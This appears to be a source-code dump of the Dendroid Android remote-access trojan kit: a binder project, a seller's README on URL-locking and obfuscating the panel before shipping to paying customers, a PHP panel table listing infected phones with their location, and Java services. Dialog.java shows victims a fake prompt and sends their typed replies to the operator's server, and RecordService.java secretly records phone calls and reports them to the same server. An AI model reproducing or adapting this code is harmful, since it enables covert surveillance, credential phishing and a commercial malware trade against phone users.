AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.APKBinder.My.MySettings 68 | Get 69 | Return Global.APKBinder.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/README - How to ship to customers.txt: -------------------------------------------------------------------------------- 1 | ______ _______ _ ______ _______ _______ _________ ______ 2 | ( __ \ ( ____ \( ( /|( __ \ ( ____ )( ___ )\__ __/( __ \ 3 | | ( \ )| ( \/| \ ( || ( \ )| ( )|| ( ) | ) ( | ( \ ) 4 | | | ) || (__ | \ | || | ) || (____)|| | | | | | | | ) | 5 | | | | || __) | (\ \) || | | || __)| | | | | | | | | | 6 | | | ) || ( | | \ || | ) || (\ ( | | | | | | | | ) | 7 | | (__/ )| (____/\| ) \ || (__/ )| ) \ \__| (___) |___) (___| (__/ ) 8 | (______/ (_______/|/ )_)(______/ |/ \__/(_______)\_______/(______/ 9 | 10 | 11 | This file contains instructions on how to 1. Setup URL locking, 2. ionCube the panel, and 3. Pack it up for delivery. 12 | 13 | Something to consider: 14 | 1. Don't mention reg.php to the customers, the more they know about the URL locking system, the easier it is for them to crack our protection and share the panel freely. 15 | If they don't know what reg.php is, we are probably better off. 16 | 17 | I. URL LOCKING 18 | 1. Open Panel/reg.php in Notepad++ (Recommended) or similar text editing application. 19 | 2. Change "www.pizzachip.com" and "pizzachip.com" on line 1 to the domain the customer has specified. 20 | 2-1. For example: $allowedDomains = array("www.androidcapture.com", "androidcapture.com"); 21 | 3. Save reg.php 22 | 23 | II. ionCube 24 | 1. Visit http://ioncube.com 25 | 2. Login to your ionCube account. 26 | 3. Click "Encode" or visit https://www.ioncube.com/main.php?c=encode 27 | 4. ZIP the files inside of the Panel folder. 28 | 5. "Choose File" on ionCube.com and select the ZIP. 29 | 6. Make sure only "Allow short open tags ()" is checked. 30 | 7. Set "Encoder Selection" to "8.0" 31 | 8. Set "Source Language" to "PHP 5.3" 32 | 9. Click "Upload" 33 | 10. When the "Download" button appears, click it. 34 | 35 | III. Final Packing 36 | 1. Create a "Dendroid" folder, and create a folder inside of that folder named "HTTP Panel" 37 | 1. Extract the ZIP file you downloaded in Section II, Step 10 to the "HTTP Panel" folder. 38 | 2. Ensure there is a "dlfiles" folder, along with "assets" and "setup" 39 | 2-1. If there is no "dlfiles" folder, create one. 40 | 3. Copy the "README" and "SQL" files from the "Other Files" folder you have into the "Dendroid" folder. 41 | 4. Ensure your finished folder structure for the clients looks like this: 42 | 43 | "Dendroid" => 44 | "README.txt" 45 | "SQL.sql" 46 | "HTTP Panel" => 47 | "assets" 48 | "setup" => 49 | "createconfig.php" 50 | "index.php" 51 | "laststep.php" 52 | "step1.php" 53 | "dlfiles" 54 | "addcommand.php" 55 | "applysettings.php" 56 | "blockbot.php" 57 | "clearawaiting.php" 58 | "clearmessages.php" 59 | "control.php" 60 | "deletebot.php" 61 | "deletefile.php" 62 | "deletepics.php" 63 | "filetable.php" 64 | "functions.php" 65 | "get-functions.php" 66 | "get.php" 67 | "getimages.php" 68 | "getmessages.php" 69 | "getawaitingcommands.php" 70 | "index.php" 71 | "login.php" 72 | "logout.php" 73 | "message.php" 74 | "new-upload.php" 75 | "reg.php" 76 | "settings.php" 77 | "showpictures.php" 78 | "table.php" 79 | "upload-pictures.php" 80 | 81 | 5. ZIP the "Dendroid" folder. 82 | 6. Send to client. -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/js/image-picker.min.js: -------------------------------------------------------------------------------- 1 | // Image Picker 2 | // by Rodrigo Vera 3 | // 4 | // Version 0.1.5 5 | // Full source at https://github.com/rvera/image-picker 6 | // MIT License, https://github.com/rvera/image-picker/blob/master/LICENSE 7 | (function(){var t,e,i,s,l=[].indexOf||function(t){for(var e=0,i=this.length;i>e;e++)if(e in this&&this[e]===t)return e;return-1};jQuery.fn.extend({imagepicker:function(e){return null==e&&(e={}),this.each(function(){var i;return i=jQuery(this),i.next("ul.image_picker_selector").remove(),i.data("picker",new t(this,s(e))),null!=e.initialized?e.initialized():void 0})}}),s=function(t){var e;return e={hide_select:!0,show_label:!1,initialized:void 0,changed:void 0,clicked:void 0,selected:void 0,limit:void 0,limit_reached:void 0},jQuery.extend(e,t)},i=function(t,e){return 0===jQuery(t).not(e).length&&0===jQuery(e).not(t).length},t=function(){function t(t,e){this.opts=null!=e?e:{},this.select=jQuery(t),this.multiple="multiple"===this.select.attr("multiple"),null!=this.select.data("limit")&&(this.opts.limit=parseInt(this.select.data("limit"))),this.build_and_append_picker()}return t.prototype.build_and_append_picker=function(){return this.opts.hide_select&&this.select.hide(),this.select.change({picker:this},function(t){return t.data.picker.sync_picker_with_select()}),null!=this.picker&&this.picker.remove(),this.create_picker(),this.select.after(this.picker),this.sync_picker_with_select()},t.prototype.sync_picker_with_select=function(){var t,e,i,s,l;for(s=this.picker_options,l=[],e=0,i=s.length;i>e;e++)t=s[e],t.is_selected()?l.push(t.mark_as_selected()):l.push(t.unmark_as_selected());return l},t.prototype.create_picker=function(){var t,i,s,l;for(this.picker=jQuery("
    "),this.picker_options=function(){var i,s,l,n;for(l=this.select.find("option"),n=[],i=0,s=l.length;s>i;i++)t=l[i],n.push(new e(t,this,this.opts));return n}.call(this),l=this.picker_options,i=0,s=l.length;s>i;i++)t=l[i],t.has_image()&&this.picker.append(t.node);return this.picker},t.prototype.has_implicit_blanks=function(){var t;return function(){var e,i,s,l;for(s=this.picker_options,l=[],e=0,i=s.length;i>e;e++)t=s[e],t.is_blank()&&!t.has_image()&&l.push(t);return l}.call(this).length>0},t.prototype.selected_values=function(){return this.multiple?this.select.val()||[]:[this.select.val()]},t.prototype.toggle=function(t){var e,s,n;return s=this.selected_values(),this.multiple?(n=t.value(),l.call(this.selected_values(),n)>=0?t.option.prop("selected",!1):null!=this.opts.limit?this.selected_values().length=0:this.value()===t},t.prototype.mark_as_selected=function(){return this.node.find(".thumbnail").addClass("selected")},t.prototype.unmark_as_selected=function(){return this.node.find(".thumbnail").removeClass("selected")},t.prototype.value=function(){return this.option.val()},t.prototype.label=function(){return this.option.data("img-label")?this.option.data("img-label"):this.option.text()},t.prototype.clicked=function(){return this.picker.toggle(this),null!=this.opts.clicked&&this.opts.clicked.call(this.picker.select),null!=this.opts.selected&&this.is_selected()?this.opts.selected.call(this.picker.select):void 0},t.prototype.create_node=function(){var t,e;return this.node=jQuery("
  • "),t=jQuery(""),t.attr("src",this.option.data("img-src")),e=jQuery("
    "),e.click({option:this},function(t){return t.data.option.clicked()}),e.append(t),this.opts.show_label&&e.append(jQuery("

    ").html(this.label())),this.node.append(e),this.node},t}()}).call(this); -------------------------------------------------------------------------------- /Dendroid APK/src/com/connect/Dialog.java: -------------------------------------------------------------------------------- 1 | package com.connect; 2 | 3 | import java.io.InputStream; 4 | import java.io.UnsupportedEncodingException; 5 | import java.net.URLEncoder; 6 | import java.text.SimpleDateFormat; 7 | import java.util.Date; 8 | 9 | import org.apache.http.HttpResponse; 10 | import org.apache.http.client.HttpClient; 11 | import org.apache.http.client.methods.HttpGet; 12 | import org.apache.http.impl.client.DefaultHttpClient; 13 | 14 | import android.app.Activity; 15 | import android.app.AlertDialog; 16 | import android.content.Context; 17 | import android.content.DialogInterface; 18 | import android.content.Intent; 19 | import android.net.ConnectivityManager; 20 | import android.net.NetworkInfo; 21 | import android.os.Bundle; 22 | import android.preference.PreferenceManager; 23 | import android.provider.Settings.Secure; 24 | import android.util.Base64; 25 | import android.util.Log; 26 | import android.widget.EditText; 27 | 28 | public class Dialog extends Activity { 29 | private String URL; 30 | @SuppressWarnings("unused") 31 | private String password; 32 | 33 | @Override 34 | public void onCreate(Bundle savedInstanceState) { 35 | super.onCreate(savedInstanceState); 36 | 37 | try { 38 | URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("URL", ""), Base64.DEFAULT )); 39 | password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("password", ""), Base64.DEFAULT )); 40 | } catch (Exception e1) {e1.printStackTrace();} 41 | 42 | Intent sender=getIntent(); 43 | String title = sender.getExtras().getString("Title"); 44 | String message = sender.getExtras().getString("Message"); 45 | 46 | AlertDialog.Builder alert = new AlertDialog.Builder(this); 47 | alert.setTitle(title); 48 | alert.setMessage(message); 49 | 50 | final EditText input = new EditText(this); 51 | alert.setView(input); 52 | 53 | alert.setNegativeButton("Cancel", new DialogInterface.OnClickListener() { 54 | public void onClick(DialogInterface dialog, int whichButton) { 55 | finish(); 56 | return; 57 | } 58 | }); 59 | 60 | alert.setPositiveButton("Ok", new DialogInterface.OnClickListener() { 61 | public void onClick(DialogInterface dialog, int whichButton) { 62 | String value = input.getText().toString(); 63 | Log.i("com.connect", "Alert: " + value); 64 | 65 | try { 66 | getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Dialog Response: " + value); 67 | } catch (Exception e) { 68 | // TODO Auto-generated catch block 69 | e.printStackTrace(); 70 | } 71 | 72 | finish(); 73 | return; 74 | } 75 | }); 76 | 77 | alert.setCancelable(false); 78 | alert.show(); 79 | } 80 | 81 | public InputStream getInputStreamFromUrl(String urlBase, String urlData) throws UnsupportedEncodingException { 82 | 83 | // Log.d("com.connect", urlBase); 84 | Log.d("com.connect", urlData); 85 | 86 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH:mm:ss"); 87 | String currentDateandTime = "[" + sdf.format(new Date()) + "] - "; 88 | currentDateandTime = URLEncoder.encode (currentDateandTime, "UTF-8"); 89 | 90 | urlData = URLEncoder.encode (urlData, "UTF-8"); 91 | 92 | if(isNetworkAvailable()) 93 | { 94 | InputStream content = null; 95 | try 96 | { 97 | HttpClient httpclient = new DefaultHttpClient(); 98 | HttpResponse response = httpclient.execute(new HttpGet(urlBase + currentDateandTime+ urlData)); 99 | content = response.getEntity().getContent(); 100 | httpclient.getConnectionManager().shutdown(); 101 | } catch (Exception e) { 102 | } 103 | return content; 104 | } 105 | return null; 106 | } 107 | //******************************************************************************************************************************************************** 108 | public boolean isNetworkAvailable() { 109 | ConnectivityManager cm = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE); 110 | NetworkInfo networkInfo = cm.getActiveNetworkInfo(); 111 | if (networkInfo != null && networkInfo.isConnected()) { 112 | return true; 113 | } 114 | return false; 115 | } 116 | } -------------------------------------------------------------------------------- /Dendroid APK/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 5 | 6 | 9 | 10 | 11 | 15 | 16 | 21 | 24 | 25 | 26 | 27 | 28 | 29 | 32 | 33 | 36 | 37 | 40 | 41 | 44 | 45 | 48 | 49 | 50 | 51 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /Dendroid APK/bin/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 5 | 6 | 9 | 10 | 11 | 15 | 16 | 21 | 24 | 25 | 26 | 27 | 28 | 29 | 32 | 33 | 36 | 37 | 40 | 41 | 44 | 45 | 48 | 49 | 50 | 51 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/table.php: -------------------------------------------------------------------------------- 1 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | query($getslaves) as $row) { 96 | $today = time(); 97 | $origdate = strtotime($row['update']); 98 | $secdiff = $today - $origdate; 99 | $mindiff = $secdiff / 60; 100 | 101 | if ($mindiff > $offlineminutes) { 102 | $status = "Offline"; 103 | } else { 104 | $status = "Online"; 105 | } 106 | 107 | $datetime = new DateTime($row['update']); 108 | $timezone = new DateTimeZone($timezonesetting); 109 | $datetime->setTimezone($timezone); 110 | $lastupdatetime = $datetime->format("Y-m-d H:i:s"); 111 | 112 | echo ''; 113 | echo ''; 114 | echo ''; 115 | echo ''; 116 | echo ''; 117 | echo ''; 118 | echo ''; 119 | echo ''; 120 | echo ''; 121 | echo ''; 122 | echo ''; 123 | }?> 124 | 125 |
    #UIDStatusLast UpdatedCell #Cell ProviderLocationDeviceSDKVersionAdd
    ' . $row['id'] . '' . $row['uid'] . '' . $status . '' . $lastupdatetime . '' . $row['phone'] . '' . $row['provider'] . '(' . $row['lati'] . ', ' . $row['longi'] . ')' . $row['device'] . '' . $row['sdk'] . '' . $row['version'] . '
    126 | 127 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/APKBinder.vbproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Debug 5 | x86 6 | 7 | 8 | 2.0 9 | {1860FD67-8CAF-45E4-8357-273DB1ADD78F} 10 | WinExe 11 | APKBinder.My.MyApplication 12 | APKBinder 13 | APKBinder 14 | 512 15 | WindowsForms 16 | v3.5 17 | 18 | 19 | 20 | 21 | x86 22 | true 23 | full 24 | true 25 | true 26 | bin\Debug\ 27 | APKBinder.xml 28 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 29 | 30 | 31 | x86 32 | pdbonly 33 | false 34 | true 35 | true 36 | bin\Release\ 37 | APKBinder.xml 38 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 39 | 40 | 41 | On 42 | 43 | 44 | Binary 45 | 46 | 47 | Off 48 | 49 | 50 | On 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | Form 78 | 79 | 80 | Form1.vb 81 | Form 82 | 83 | 84 | 85 | True 86 | Application.myapp 87 | 88 | 89 | True 90 | True 91 | Resources.resx 92 | 93 | 94 | True 95 | Settings.settings 96 | True 97 | 98 | 99 | Component 100 | 101 | 102 | 103 | 104 | Form1.vb 105 | 106 | 107 | VbMyResourcesResXFileCodeGenerator 108 | Resources.Designer.vb 109 | My.Resources 110 | Designer 111 | 112 | 113 | 114 | 115 | 116 | MyApplicationCodeGenerator 117 | Application.Designer.vb 118 | 119 | 120 | SettingsSingleFileGenerator 121 | My 122 | Settings.Designer.vb 123 | 124 | 125 | 126 | 133 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/My Project/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/Form1.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 17, 17 122 | 123 | 124 | 116, 17 125 | 126 | 127 | 215, 17 128 | 129 | -------------------------------------------------------------------------------- /Dendroid APK/src/com/connect/RecordService.java: -------------------------------------------------------------------------------- 1 | package com.connect; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import java.io.UnsupportedEncodingException; 7 | import java.lang.Exception; 8 | import java.net.URLEncoder; 9 | import java.text.SimpleDateFormat; 10 | import java.util.Date; 11 | 12 | import org.apache.http.HttpResponse; 13 | import org.apache.http.client.HttpClient; 14 | import org.apache.http.client.methods.HttpGet; 15 | import org.apache.http.impl.client.DefaultHttpClient; 16 | 17 | import android.net.ConnectivityManager; 18 | import android.net.NetworkInfo; 19 | import android.os.IBinder; 20 | import android.app.Service; 21 | import android.preference.PreferenceManager; 22 | import android.util.Base64; 23 | import android.util.Log; 24 | import android.content.SharedPreferences; 25 | import android.content.Context; 26 | import android.content.Intent; 27 | import android.media.MediaRecorder; 28 | 29 | public class RecordService extends Service implements MediaRecorder.OnInfoListener, MediaRecorder.OnErrorListener 30 | { 31 | public final String DEFAULT_STORAGE_LOCATION = PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Calls" + File.separator; 32 | private MediaRecorder recorder = null; 33 | private boolean isRecording = false; 34 | private File recording = null;; 35 | private String URL; 36 | @SuppressWarnings("unused") 37 | private String password; 38 | 39 | private File makeOutputFile (SharedPreferences prefs) 40 | { 41 | 42 | try { 43 | URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("URL", ""), Base64.DEFAULT )); 44 | password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("password", ""), Base64.DEFAULT )); 45 | } catch (Exception e1) {e1.printStackTrace();} 46 | 47 | File dir = new File(DEFAULT_STORAGE_LOCATION); 48 | 49 | if (!dir.exists()) { 50 | try { 51 | dir.mkdirs(); 52 | } catch (Exception e) { 53 | return null; 54 | } 55 | } else { 56 | if (!dir.canWrite()) { 57 | return null; 58 | } 59 | } 60 | 61 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm"); 62 | String currentDateandTime = sdf.format(new Date()); 63 | 64 | try { 65 | return File.createTempFile(currentDateandTime, ".mpg", dir); 66 | } catch (IOException e) { 67 | return null; 68 | } 69 | } 70 | 71 | public void onCreate() 72 | { 73 | super.onCreate(); 74 | recorder = new MediaRecorder(); 75 | } 76 | 77 | public void onStart(Intent intent, int startId) { 78 | 79 | if (isRecording) return; 80 | 81 | Context c = getApplicationContext(); 82 | SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(c); 83 | 84 | int audiosource = 1; 85 | int audioformat = 1; 86 | 87 | recording = makeOutputFile(prefs); 88 | if (recording == null) { 89 | recorder = null; 90 | return; 91 | } 92 | 93 | try { 94 | recorder.reset(); 95 | recorder.setAudioSource(audiosource); 96 | recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); 97 | recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC); 98 | recorder.setOutputFile(recording.getAbsolutePath()); 99 | recorder.setOnInfoListener(this); 100 | recorder.setOnErrorListener(this); 101 | 102 | //STREAM TO PHP? //Alert 103 | 104 | try { 105 | recorder.prepare(); 106 | } catch (java.io.IOException e) { 107 | recorder = null; 108 | return; 109 | } 110 | recorder.start(); 111 | isRecording = true; 112 | 113 | getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Call Recording Started"); 114 | 115 | } catch (java.lang.Exception e) { 116 | recorder = null; 117 | } 118 | 119 | return; 120 | } 121 | 122 | public void onDestroy() 123 | { 124 | super.onDestroy(); 125 | 126 | if (null != recorder) { 127 | isRecording = false; 128 | recorder.release(); 129 | 130 | try { 131 | getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Call Recording Ended"); 132 | } catch (UnsupportedEncodingException e) { 133 | // TODO Auto-generated catch block 134 | e.printStackTrace(); 135 | } 136 | 137 | } 138 | } 139 | 140 | 141 | public IBinder onBind(Intent intent) 142 | { 143 | return null; 144 | } 145 | 146 | public boolean onUnbind(Intent intent) 147 | { 148 | return false; 149 | } 150 | 151 | public void onRebind(Intent intent) 152 | { 153 | } 154 | 155 | 156 | // MediaRecorder.OnInfoListener 157 | public void onInfo(MediaRecorder mr, int what, int extra) 158 | { 159 | isRecording = false; 160 | } 161 | 162 | // MediaRecorder.OnErrorListener 163 | public void onError(MediaRecorder mr, int what, int extra) 164 | { 165 | isRecording = false; 166 | mr.release(); 167 | } 168 | 169 | public InputStream getInputStreamFromUrl(String urlBase, String urlData) throws UnsupportedEncodingException { 170 | 171 | Log.d("com.connect", urlBase); 172 | Log.d("com.connect", urlData); 173 | 174 | urlData = URLEncoder.encode (urlData, "UTF-8"); 175 | if(isNetworkAvailable()) 176 | { 177 | InputStream content = null; 178 | try 179 | { 180 | HttpClient httpclient = new DefaultHttpClient(); 181 | HttpResponse response = httpclient.execute(new HttpGet(urlBase + urlData)); 182 | content = response.getEntity().getContent(); 183 | httpclient.getConnectionManager().shutdown(); 184 | } catch (Exception e) { 185 | } 186 | return content; 187 | } 188 | return null; 189 | } 190 | //******************************************************************************************************************************************************** 191 | public boolean isNetworkAvailable() { 192 | ConnectivityManager cm = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE); 193 | NetworkInfo networkInfo = cm.getActiveNetworkInfo(); 194 | if (networkInfo != null && networkInfo.isConnected()) { 195 | return true; 196 | } 197 | return false; 198 | } 199 | } 200 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/css/bootstrap-glyphicons.css: -------------------------------------------------------------------------------- 1 | @font-face{font-family:'Glyphicons Halflings';src:url('../fonts/glyphiconshalflings-regular.eot');src:url('../fonts/glyphiconshalflings-regular.eot?#iefix') format('embedded-opentype'),url('../fonts/glyphiconshalflings-regular.woff') format('woff'),url('../fonts/glyphiconshalflings-regular.ttf') format('truetype'),url('../fonts/glyphiconshalflings-regular.svg#glyphicons_halflingsregular') format('svg')}.glyphicon:before{font-family:'Glyphicons Halflings';font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-plus:before{content:"\002b"}.glyphicon-minus:before{content:"\2212"}.glyphicon-asterisk:before{content:"\002a"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e